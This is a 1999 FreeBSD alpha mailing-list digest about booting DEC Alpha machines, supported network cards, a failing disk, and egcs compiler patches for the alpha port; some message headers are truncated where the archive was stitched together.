freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 807AB14EA4 for ; Wed, 7 Apr 1999 06:36:16 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id JAA02576; Wed, 7 Apr 1999 09:34:17 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id JAA15518; Wed, 7 Apr 1999 09:33:47 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Wed, 7 Apr 1999 09:33:47 -0400 (EDT) To: Patrick Guerin Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: 3000? In-Reply-To: References: <370A6F3B.A7D3D92C@nua.ie> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14091.23105.691131.848218@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Patrick Guerin writes: > Can anyone point a new 3000 owner in the right direction? Yes, it's the > one from onsale.com and looks like it was meant to be and NT machine.... > > Hope to hear some good news... > > Thanks, pat Do you mean a DEC Server 3305? Or do you mean a real (5+ year old) DEC 3000/xxx turbochannel machine? Since you say it was meant to be an NT machine, I assume you mean the former. I'm not familiar with this machine, but from the picture & description at OnSale, it looks very much like a Miata (aka Personal Workstation). If its really a miata under the skin, then FreeBSD should work. First, you should attempt to switch into the SRM console code if you're not already running the SRM console (if you are, you'll see a series of hex numbers followed by a >>> prompt when the machine boots up). These instructions are from memory, but should help some a) select CMOS SETUP menu b) select ADVANCED (probably w/F6??) c) tab down to CONSOLE SELECTION d) select DIGITAL (Tru64?) UNIX Console (SRM) e) save selections (press F10 key twice, followed by enter ???) f) power off system, wait 30 seconds, power it on. Once you're at the >>> prompt, download a freebsd/alpha snapshot & boot it (ftp.freebsd.org:/pub/FreeBSD/snapshots/alpha is a place to start). If it works, let us know what the kernel claims the machine is. If it doesn't, the machine will halt, & tell you that it's not supported. If that happens, please pass that message along as well. Especially the part about the systype. cheers, Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 6:44: 9 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 3372B14DA5 for ; Wed, 7 Apr 1999 06:44:00 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id JAA02732; Wed, 7 Apr 1999 09:42:00 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id JAA15533; Wed, 7 Apr 1999 09:41:30 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Wed, 7 Apr 1999 09:41:30 -0400 (EDT) To: Tony Byrne Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: DEC 21143 based NIC In-Reply-To: <370B2506.2D66D900@nua.ie> References: <199904062140.PAA30871@panzer.plutotech.com> <370B2506.2D66D900@nua.ie> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14091.24265.484903.849110@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Tony Byrne writes: > On a related subject... > > Assuming that the integrated NIC just won't cut the mustard or is dead > beef, what off the shelf PCI / ISA NICs are likely to work in a Alpha > Personal Workstation 433a, under FreeBSD (or NT for that matter)? Have a look at the GENERIC alpha kernel config file. In addition to de0 and fxp0, Bill Paul just ported a number of his drivers to FreeBSD/alpha. I'm not sure how many of these have made it into installed kernels in snapshots though: device de0 device fxp0 device le0 device mx0 device pn0 device tl0 device xl0 Beware the le0 is the on-board lance adaptor in turbochannel machines. And related documentation: # The `de' device provides support for the Digital Equipment DC21040 # self-contained Ethernet adapter. # # The `fxp' device provides support for the Intel EtherExpress Pro/100B # PCI Fast Ethernet adapters. # # The `mx' device provides support for various fast ethernet adapters # based on the Macronix 98713, 987615 ans 98725 series chips. # # The `pn' device provides support for various fast ethernet adapters # based on the Lite-On 82c168 and 82c169 PNIC chips, including the # LinkSys LNE100TX, the NetGear FA310TX rev. D1 and the Matrox # FastNIC 10/100. # # The 'rl' device provides support for PCI fast ethernet adapters based # on the RealTek 8129/8139 chipset. Note that the RealTek driver defaults # to useing programmed I/O to do register accesses because memory mapped # mode seems to cause severe lockups on SMP hardware. This driver also # supports the Accton EN1207D `Cheetah' adapter, which uses a chip called # the MPX 5030/5038, which is either a RealTek in disguise or a RealTek # workalike. # # The 'tl' device provides support for the Texas Instruments TNETE100 # series 'ThunderLAN' cards and integrated ethernet controllers. This # includes several Compaq Netelligent 10/100 cards and the built-in # ethernet controllers in several Compaq Prosignia, Proliant and # Deskpro systems. It also supports several Olicom 10Mbps and 10/100 # boards. # > Finding documentation for this short of thing is tricky. Also does > anyone know how resources such as IRQs and IO addresses are managed by > these machines? E.g, if I pop in a plain ol' NE2000 compatible ISA NIC > with known IRQ and IO settings, how does the alpha know to reserve them? You use isacfg from the SRM console. However, no ISA nics are supported in FreeBSD alpha just yet. > Sorry if my questions are slightly off topic, but I was lucky enough to > lay my hands on a 433a at the weekend and it's early days on the > learning curve. Its not a bad question -- the documentation for FreeBSD/alpha is nearly non-existant right now. Cheers, Drew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 10: 1:12 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id D120A1582F for ; Wed, 7 Apr 1999 10:01:09 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 28151 invoked from network); 7 Apr 1999 16:59:10 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 7 Apr 1999 16:59:10 -0000 Received: from ett.sat.t.u-tokyo.ac.jp (ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id 380172DAAF for ; Thu, 8 Apr 1999 01:59:10 +0900 (JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id BAA37329; Thu, 8 Apr 1999 01:58:57 +0900 (JST) Date: Thu, 08 Apr 1999 01:58:56 +0900 Message-ID: <14091.36560.366707.98896E@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: freebsd-alpha@freebsd.org Subject: _start or __start? User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX; Wed, 7 Apr 1999 12:37:17 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost.cdrom.com [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id MAA01235; Wed, 7 Apr 1999 12:35:00 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199904071935.MAA01235@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: Thomas Pornin Cc: freebsd-alpha@freebsd.org Subject: Re: ncr0: restart (fatal error) In-reply-to: Your message of "Wed, 07 Apr 1999 12:22:15 +0200." <19990407122215.B7017@bolet.ens.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 07 Apr 1999 12:35:00 -0700 From: Mike Smith Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > On Wed, Apr 07, 1999 at 09:59:59AM +0200, Thomas Pornin wrote: > > Is this a FreeBSD bug, or has the disk begun to decay and will > > ultimately die ? > > Hum. The disk finally stopped responding: > > ncr0: timeout nccb=0xfffffe0000163800 (skip) > > Power-off. Power-on. I get many of these: > > ESR: 6FF4DAE900000013 EAR: 6FF4DAE9417546C8 > STAT0: 0000000200000002 STAT1: 0000007100000071 > BC_TAG: 0000000000000000 > \ > Processor correctable error through vector 00000063. > > (similar problem if I try to boot Linux on another drive) > > Is there any hope of resurrecting the box ? Probably overheated. Move the disk out and/or improve your ventilation. -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 13:14:47 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from www1.asacomputers.com (unknown [204.153.176.244]) by hub.freebsd.org (Postfix) with ESMTP id 4C70A15865 for ; Wed, 7 Apr 1999 13:14:44 -0700 (PDT) (envelope-from kedar@asacomputers.com) Received: from kedar.asacomputers.com (alan.asacomputers.com [204.153.176.86]) by www1.asacomputers.com (8.8.8/8.8.8) with SMTP id NAA11353 for ; Wed, 7 Apr 1999 13:24:13 -0700 (PDT) (envelope-from kedar@asacomputers.com) Message-Id: <2.2.32.19990407200806.02433f1c@gw1> X-Sender: rajadnya@gw1 X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 07 Apr 1999 13:08:06 -0700 To: alpha@FreeBSD.ORG From: Kedar Rajadnya Subject: Alpha 164LX? Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, Can anybody please share the part number of the Alpha 164LX board that is working well with FreeBSD? Thanks!, Kedar. Take care, Kedar Rajadnya. ASA Computers, Inc. 2354 Calle Del Mundo. Santa Clara, CA 95054. TEL: (408)654-2901 ext201 CELL: (408)799-7263 TOLL FREE:(877)538-1272 FAX: (408)654-2910 ***************************************************** To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 18:30:35 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id CCB0615192 for ; Wed, 7 Apr 1999 18:30:22 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 30168 invoked from network); 8 Apr 1999 01:28:23 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 8 Apr 1999 01:28:23 -0000 Received: from ett.sat.t.u-tokyo.ac.jp (ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id 030EA2DAAF; Thu, 8 Apr 1999 10:28:18 +0900 (JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id KAA38147; Thu, 8 Apr 1999 10:28:05 +0900 (JST) Date: Thu, 08 Apr 1999 10:28:04 +0900 Message-ID: <14092.1572.540347.14698D@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: obrien@NUXI.com Cc: dfr@nlsystems.com, gallatin@cs.duke.edu, freebsd-alpha@freebsd.org Subject: Re: EGCS and Alpha builds In-Reply-To: In your message of "Tue, 06 Apr 1999 18:59:39 +0900" <14089.56075.776196.90506E@ett.sat.t.u-tokyo.ac.jp> References: <19990404131610.B77056@nuxi.com> <14089.56075.776196.90506E@ett.sat.t.u-tokyo.ac.jp> User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX #include ------ --- patch 1 --- Index: cc_tools/Makefile =================================================================== RCS file: /pub/FreeBSD-CVS/src/gnu/usr.bin/cc/cc_tools/Makefile,v retrieving revision 1.18 diff -u -r1.18 Makefile --- Makefile 1999/04/05 10:18:50 1.18 +++ Makefile 1999/04/07 04:27:47 @@ -157,8 +157,6 @@ echo '#include "${MACHINE_ARCH}/freebsd.h"' >> ${.TARGET} .if ${MACHINE_ARCH} == "i386" echo '#include "${MACHINE_ARCH}/perform.h"' >> ${.TARGET} -.elif ${MACHINE_ARCH} == "alpha" - echo '#include "${MACHINE_ARCH}/freebsd-elf.h"' >> ${.TARGET} .endif multilib.h: genmultilib --- --- patch 2 -- Index: freebsd.h =================================================================== RCS file: /pub/FreeBSD-CVS/src/contrib/egcs/gcc/config/alpha/freebsd.h,v retrieving revision 1.2 diff -u -r1.2 freebsd.h --- freebsd.h 1999/04/06 13:09:24 1.2 +++ freebsd.h 1999/04/07 14:29:14 @@ -46,14 +46,19 @@ XXX FreeBSD, by convention, shouldn't do __alpha, but lots of applications expect it because that's what OSF/1 does. */ +#undef TARGET_VERSION +#define TARGET_VERSION fprintf (stderr, " (FreeBSD/alpha ELF)"); + #undef TARGET_DEFAULT #define TARGET_DEFAULT (MASK_FP | MASK_FPREGS | MASK_GAS) #undef CPP_PREDEFINES #define CPP_PREDEFINES "\ --D__alpha__ -D__alpha -Acpu(alpha) -Amachine(alpha) " \ -CPP_FBSD_PREDEFINES \ -SUB_CPP_PREDEFINES +-D__alpha__ -D__alpha -Acpu(alpha) -Amachine(alpha) -D__ELF__" \ +CPP_FBSD_PREDEFINES + +#undef CPP_SPEC +#define CPP_SPEC "%{posix:-D_POSIX_SOURCE}" /* Make gcc agree with */ @@ -376,7 +381,7 @@ #undef SELECT_RTX_SECTION #define SELECT_RTX_SECTION(MODE,RTX) const_section() -/* Define the strings used for the special svr4 .type and .size directives. +/* Define the strings used for the .type, .size and .set directives. These strings generally do not vary from one system running svr4 to another, but if a given system (e.g. m88k running svr) needs to use different pseudo-op names for these, they may be overridden in the @@ -384,6 +389,7 @@ #define TYPE_ASM_OP ".type" #define SIZE_ASM_OP ".size" +#define SET_ASM_OP ".set" /* This is how we tell the assembler that two symbols have the same value. */ @@ -441,3 +447,75 @@ #undef PREFERRED_DEBUGGING_TYPE #define PREFERRED_DEBUGGING_TYPE DBX_DEBUG + +#undef LINK_SPEC +#define LINK_SPEC "-m elf64alpha \ + %{p:%e`-p' not supported; use `-pg' and gprof(1)} \ + %{Wl,*:%*} \ + %{assert*} %{R*} %{rpath*} %{defsym*} \ + %{shared:-Bshareable %{h*} %{soname*}} \ + %{symbolic:-Bsymbolic} \ + %{!shared: \ + %{!static: \ + %{rdynamic:-export-dynamic} \ + %{!dynamic-linker:-dynamic-linker /usr/libexec/ld-elf.so.1}} \ + %{static:-Bstatic}}" + +#undef STARTFILE_SPEC +#define STARTFILE_SPEC \ + "%{!shared: %{pg:gcrt1.o%s} %{!pg:%{p:gcrt1.o%s} %{!p:crt1.o%s}}} \ + %{!shared:crtbegin.o%s} %{shared:crtbeginS.o%s}" + +/* Provide a ENDFILE_SPEC appropriate for ELF. Here we tack on the + magical crtend.o file which provides part of the support for + getting C++ file-scope static object constructed before entering + `main', followed by a normal ELF "finalizer" file, `crtn.o'. */ + +#undef ENDFILE_SPEC +#define ENDFILE_SPEC \ + "%{!shared:crtend.o%s} %{shared:crtendS.o%s}" + +/* Provide a LIB_SPEC appropriate for FreeBSD. Just select the appropriate + libc, depending on whether we're doing profiling. */ + +#undef LIB_SPEC +#define LIB_SPEC "%{!shared:%{!pg:%{!pthread:%{!kthread:-lc}%{kthread:-lpthread-lc}}%{pthread:-lc_r}}%{pg:%{!pthread:%{!kthread:-lc_p}%{kthread:-lpthread_p -lc_p}}%{pthread:-lc_r_p}}}" + +/* Implicit library calls should use memcpy, not bcopy, etc. */ + +#define TARGET_MEM_FUNCTIONS + +/* Handle #pragma weak and #pragma pack. */ + +#define HANDLE_SYSV_PRAGMA + +/* + * Some imports from svr4.h in support of shared libraries. + * Currently, we need the DECLARE_OBJECT_SIZE stuff. + */ + +/* This is how we tell the assembler that a symbol is weak. */ + +#undef ASM_WEAKEN_LABEL +#define ASM_WEAKEN_LABEL(FILE,NAME) \ + do { fputs ("\t.globl\t", FILE); assemble_name (FILE, NAME); \ + fputc ('\n', FILE); \ + fputs ("\t.weak\t", FILE); assemble_name (FILE, NAME); \ + fputc ('\n', FILE); } while (0) + +/* The following macro defines the format used to output the second + operand of the .type assembler directive. Different svr4 assemblers + expect various different forms for this operand. The one given here + is just a default. You may need to override it in your machine- + specific tm.h file (depending upon the particulars of your assembler). */ + +#undef TYPE_OPERAND_FMT +#define TYPE_OPERAND_FMT "@%s" + +/* Write the extra assembler code needed to declare a function's result. + Most svr4 assemblers don't require any special declaration of the + result value, but there are exceptions. */ + +#ifndef ASM_DECLARE_RESULT +#define ASM_DECLARE_RESULT(FILE, RESULT) +#endif --- --- patch 3 --- Index: _G_config.h =================================================================== RCS file: /pub/FreeBSD-CVS/src/gnu/lib/libstdc++/_G_config.h,v retrieving revision 1.6 diff -u -r1.6 _G_config.h --- _G_config.h 1999/04/07 07:48:23 1.6 +++ _G_config.h 1999/04/07 16:32:41 @@ -74,7 +74,8 @@ #endif typedef int _G_ssize_t; typedef int /* default */ _G_wint_t; -typedef char * _G_va_list; +#define _G_NEED_STDARG_H +#define _G_va_list va_list #define _G_signal_return_type void #define _G_sprintf_return_type int #define _G_HAVE_ATEXIT 1 --- /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 19:50:29 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id EAFA714E4A for ; Wed, 7 Apr 1999 19:50:27 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.1) with ESMTP id TAA09856; Wed, 7 Apr 1999 19:48:27 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.2/8.9.1) id TAA77095; Wed, 7 Apr 1999 19:48:26 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Wed, 7 Apr 1999 19:48:26 -0700 (PDT) Message-Id: <199904080248.TAA77095@vashon.polstra.com> To: simokawa@sat.t.u-tokyo.ac.jp Subject: Re: EGCS and Alpha builds In-Reply-To: <14092.1572.540347.14698D@ett.sat.t.u-tokyo.ac.jp> References: <19990404131610.B77056@nuxi.com> <14089.56075.776196.90506E@ett.sat.t.u-tokyo.ac.jp> Organization: Polstra & Co., Seattle, WA Cc: alpha@freebsd.org Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm glad somebody's working on egcs/alpha. Regarding your patches ... in alpha/freebsd.h, I'd suggest adding the following, taken from the end of i386/freebsd.h: /* FreeBSD ELF using our home-grown crtbegin.o/crtend.o does not support the DWARF2 unwinding mechanisms. Once `make world' bootstraping problems with the EGCS crtstuff.c is overcome, we will switch to the non-sjlj-exceptions type exception machanism. */ #define DWARF2_UNWIND_INFO 0 John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Self-interest is the aphrodisiac of belief." -- James V. DeLong To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 22:30:46 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id EEC9815257 for ; Wed, 7 Apr 1999 22:30:40 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 31923 invoked from network); 8 Apr 1999 05:28:40 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 8 Apr 1999 05:28:40 -0000 Received: from ett.sat.t.u-tokyo.ac.jp (ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id E21402DAAF; Thu, 8 Apr 1999 14:28:39 +0900 (JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id OAA39877; Thu, 8 Apr 1999 14:28:26 +0900 (JST) Date: Thu, 08 Apr 1999 14:28:25 +0900 Message-ID: <14092.15993.327163.67240P@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: freebsd-alpha@FreeBSD.ORG Cc: obrien@NUXI.com, dfr@nlsystems.com, gallatin@cs.duke.edu Subject: Re: EGCS and Alpha builds In-Reply-To: In your message of "Thu, 08 Apr 1999 10:28:04 +0900" <14092.1572.540347.14698D@ett.sat.t.u-tokyo.ac.jp> References: <14089.56075.776196.90506E@ett.sat.t.u-tokyo.ac.jp> <19990404131610.B77056@nuxi.com> <14092.1572.540347.14698D@ett.sat.t.u-tokyo.ac.jp> User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX wrote: > > Hi, > > I have finally finished make world on alpha with egcs. > Here is a fix. I have nasty problem with "make", which sometimes gets signal 11. There may be some problem with libc.so. A workaround is to add 'NOSHARED=YES' to /usr/src/usr.bin/make/Makefile. I don't know why... /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 22:46:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id 60385153BC for ; Wed, 7 Apr 1999 22:46:18 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 32063 invoked from network); 8 Apr 1999 05:44:19 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 8 Apr 1999 05:44:19 -0000 Received: from ett.sat.t.u-tokyo.ac.jp (ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id E674C2DAAF; Thu, 8 Apr 1999 14:44:18 +0900 (JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id OAA39902; Thu, 8 Apr 1999 14:44:05 +0900 (JST) Date: Thu, 08 Apr 1999 14:44:04 +0900 Message-ID: <14092.16932.302779.24098L@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: jdp@polstra.com Cc: alpha@FreeBSD.ORG Subject: Re: EGCS and Alpha builds In-Reply-To: In your message of "Wed, 7 Apr 1999 19:48:26 -0700 (PDT)" <199904080248.TAA77095@vashon.polstra.com> References: <14092.1572.540347.14698D@ett.sat.t.u-tokyo.ac.jp> <19990404131610.B77056@nuxi.com> <14089.56075.776196.90506E@ett.sat.t.u-tokyo.ac.jp> <199904080248.TAA77095@vashon.polstra.com> User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX wrote: > > I'm glad somebody's working on egcs/alpha. > > Regarding your patches ... in alpha/freebsd.h, I'd suggest adding > the following, taken from the end of i386/freebsd.h: > > /* FreeBSD ELF using our home-grown crtbegin.o/crtend.o does not support the > DWARF2 unwinding mechanisms. Once `make world' bootstraping problems with > the EGCS crtstuff.c is overcome, we will switch to the non-sjlj-exceptions > type exception machanism. */ > #define DWARF2_UNWIND_INFO 0 > > I added the line to freebsd.h, but compile failed because 'INCOMING_RETURN_ADDR_RTX' is not defined. it is defined only in i386/i386.h but not in alpha/*. BTW, dwarf2out.c is conditioned with '#ifdef DWARF2_DEBUGGING_INFO'. Doesn't '#define DWARF2_UNWIND_INFO 0' mean enabling DWARF2? -- /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 7 22:59: 2 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id D85861530A for ; Wed, 7 Apr 1999 22:59:00 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 32411 invoked from network); 8 Apr 1999 05:57:00 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 8 Apr 1999 05:57:00 -0000 Received: from ett.sat.t.u-tokyo.ac.jp (ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id B829F2DAAF; Thu, 8 Apr 1999 14:57:00 +0900 (JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id OAA39928; Thu, 8 Apr 1999 14:56:46 +0900 (JST) Date: Thu, 08 Apr 1999 14:56:45 +0900 Message-ID: <14092.17693.550298.7859Q@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: simokawa@sat.t.u-tokyo.ac.jp Cc: freebsd-alpha@FreeBSD.ORG, obrien@NUXI.com, dfr@nlsystems.com, gallatin@cs.duke.edu Subject: Re: EGCS and Alpha builds In-Reply-To: In your message of "Thu, 08 Apr 1999 14:28:25 +0900" <14092.15993.327163.67240P@ett.sat.t.u-tokyo.ac.jp> References: <14092.1572.540347.14698D@ett.sat.t.u-tokyo.ac.jp> <14089.56075.776196.90506E@ett.sat.t.u-tokyo.ac.jp> <19990404131610.B77056@nuxi.com> <14092.15993.327163.67240P@ett.sat.t.u-tokyo.ac.jp> User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX wrote: > I have nasty problem with "make", which sometimes gets signal 11. > There may be some problem with libc.so. A workaround is to add > 'NOSHARED=YES' to /usr/src/usr.bin/make/Makefile. Sorry, this doesn't fix the problem. -- /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 8 2:19:57 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 2878214C13 for ; Thu, 8 Apr 1999 02:19:54 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA27483; Thu, 8 Apr 1999 10:20:18 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Thu, 8 Apr 1999 10:20:18 +0100 (BST) From: Doug Rabson To: Hidetoshi Shimokawa Cc: freebsd-alpha@freebsd.org Subject: Re: _start or __start? In-Reply-To: 